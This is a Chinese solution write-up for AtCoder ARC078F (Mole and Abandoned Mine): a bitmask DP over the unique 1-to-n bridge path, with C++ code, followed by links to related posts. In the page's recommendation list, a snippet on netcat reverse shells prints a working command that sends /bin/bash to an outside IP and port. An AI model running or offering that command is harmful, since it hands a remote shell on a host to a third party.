简要题解如下:

记 \(1\) 到 \(n\) 的路径为关键路径。

  1. 注意到关键路径只有一条是解题的关键,可以思考这张图长什么样子。

  2. 不难发现关键路径上所有边均为桥,因此大致上是关键路径上每个点下面挂了很多个连通块。

  3. 基于这张图的形态涉及一个 \(dp\),令 \(f_{i, S}\) 表示当前只考虑 \(S\) 这个集合,当前在关键路径上走到的点为 \(i\) 留下的最大边权。

  4. 转移有两种,一种是直接考虑在关键路径上往后扩展一个点 \(j\),令一种方式是考虑在 \(i\) 下面挂上一个连通块 \(T\) 此处可以枚举子集。通过预处理等技巧可以做到 \(\mathcal{O(n ^ 2 2 ^ n + n 3 ^ n)}\)

#include <bits/stdc++.h>
using namespace std;
#define rep(i, l, r) for (int i = l; i <= r; ++i)
const int N = 20;
const int M = (1 << 15) + 5;
int n, m, u, v, c, L, all, g[M], w[N][N], f[N][M], dp[N][M];
int main () {
cin >> n >> m, L = (1 << n) - 1;
memset(w, 128, sizeof(w)), memset(dp, 128, sizeof(dp));
rep(i, 1, m) cin >> u >> v >> c, w[u][v] = w[v][u] = c, all += c;
rep(S, 0, L) rep(i, 1, n) rep(j, 1, n) if((1 << (j - 1)) & S) f[i][S] += max(0, w[i][j]);
rep(S, 0, L) {
rep(i, 1, n) rep(j, 1, n) if(((1 << (i - 1)) & S) && ((1 << (j - 1)) & S)) g[S] += max(0, w[i][j]);
g[S] /= 2;
}
dp[1][1] = 0;
rep(S, 0, L) rep(i, 1, n) if(dp[i][S] >= 0) {
rep(j, 1, n)
if(!((1 << (j - 1)) & S) && w[i][j] > 0)
dp[j][S | (1 << (j - 1))] = max(dp[j][S | (1 << (j - 1))], dp[i][S] + w[i][j]);
for (int T = (L ^ S); T; T = ((T - 1) & (L ^ S)))
dp[i][S | T] = max(dp[i][S | T], dp[i][S] + f[i][T] + g[T]);
}
printf("%d", all - dp[n][L]);
return 0;
}

一定要将思路理清,考虑最终状态的时候一定要完全准确,否则可能会出现某些性质没有发现的情况。

AT2657 [ARC078D] Mole and Abandoned Mine的更多相关文章

  1. Mole and Abandoned Mine

    Mole and Abandoned Mine n点m条边的无向图,删除第i条边花费c[i],问1到n只有一条路径时所需要的最小花费? \(2\le n\le 15\) . 我又A掉了一道zzs的题啦 ...

  2. AT2657 Mole and Abandoned Mine

    传送门 好神的状压dp啊 首先考虑一个性质,删掉之后的图一定是个联通图 并且每个点最多只与保留下来的那条路径上的一个点有边相连 然后设状态:\(f[s][t]\)代表当前联通块的点的状态为\(s\)和 ...

  3. 题解-AtCoder ARC-078F Mole and Abandoned Mine

    problem ATC-arc078F 题意概要:给定一个 \(n\) 点 \(m\) 边简单无向图(无自环无重边),边有费用,现切去若干条边,使得从 \(1\) 到 \(n\) 有且仅有一条简单路径 ...

  4. AtCoder arc078_d Mole and Abandoned Mine

    洛谷题目页面传送门 & AtCoder题目页面传送门 给定一个无向连通带权图\(G=(V,E),|V|=n,|E|=m\)(节点从\(0\)开始编号),要删掉一些边使得节点\(0\)到\(n- ...

  5. [atARC078F]Mole and Abandoned Mine

    注意到最终图的样子可以看作一条从1到$n$的路径,以及删去这条路径上的边后,路径上的每一个点所对应的一个连通块 考虑dp,令$f_{S,i}$表示当前1到$n$路径上的最后一个点以及之前点(包括$i$ ...

  6. 【做题】arc078_f-Mole and Abandoned Mine——状压dp

    题意:给出一个\(n\)个结点的联通无向图,每条边都有边权.令删去一条边的费用为这条边的边权.求最小的费用以删去某些边使得结点\(1\)至结点\(n\)有且只有一条路径. \(n \leq 15\) ...

  7. AtCoder Regular Contest 078

    我好菜啊,ARC注定出不了F系列.要是出了说不定就橙了. C - Splitting Pile 题意:把序列分成左右两部分,使得两边和之差最小. #include<cstdio> #inc ...

  8. 【AtCoder】ARC078

    C - Splitting Pile 枚举从哪里开始分的即可 #include <bits/stdc++.h> #define fi first #define se second #de ...

  9. AtCoder刷题记录

    构造题都是神仙题 /kk ARC066C Addition and Subtraction Hard 首先要发现两个性质: 加号右边不会有括号:显然,有括号也可以被删去,答案不变. \(op_i\)和 ...

随机推荐

  1. Netcat反弹shell的方法

    VPS监听: aliyun:  nc -lvnp 7777 监听7777端口 被监听: nc -w 10 -e /bin/bash 8.130.49.121 7777  (-w:连接超时时间 -e 使 ...

  2. Codeforces 339B:Xenia and Ringroad(水题)

    time limit per test : 2 seconds memory limit per test : 256 megabytes input : standard input output ...

  3. Spring MVC 文件上传、Restful、表单校验框架

    目录 文件上传 Restful Restful 简介 Rest 行为常用约定方式 Restful开发入门 表单校验框架 表单校验框架介绍 快速入门 多规则校验 嵌套校验 分组校验 综合案例 实用校验范 ...

  4. hbase构建二级索引解决方案

    关注公众号:大数据技术派,回复"资料",领取1024G资料. 1 为什么需要二级索引 HBase的一级索引就是rowkey,我们仅仅能通过rowkey进行检索.假设我们相对Hbas ...

  5. Spring @Valid 和 @Validated 的区别和使用

    两者区别 @Valid @Validated 标准 标准JSR-303规范 增强JSR-303规范 包 javax.validation org.springframework.validation ...

  6. 使用VUE组件创建SpreadJS自定义单元格(一)

    作为近五年都冲在热门框架排行榜首的Vue,大家一定会学到的一部分就是组件的使用.前端开发的模块化,可以让代码逻辑更加简单清晰,项目的扩展性大大加强.对于Vue而言,模块化的体现集中在组件之上,以组件为 ...

  7. CentOS 7 如何清空文件内容

    https://www.cnblogs.com/zqifa/p/linux-vim-4.html 方法1.在非编辑状态下使用快捷键gg跳至首行头部,再使用dG即可清空,或 输入"%d&quo ...

  8. Nginx 基础入门

    目录 Nginx 基础入门 1.Nginx简介 1.1.相关名词解释 2.Nginx优势 3.Nginx部署 4.Nginx配置文件 5.Nginx模块 6.Nginx配置文件 6.1.Locatio ...

  9. JSP页面打印输出,两种方法。out、《%=

    使用out.println()输出: <%@ page contentType="text/html;charset=UTF-8"%> <html> < ...

  10. 【刷题-LeetCode】190 Reverse Bits

    Reverse Bits Reverse bits of a given 32 bits unsigned integer. Example 1: Input: 0000001010010100000 ...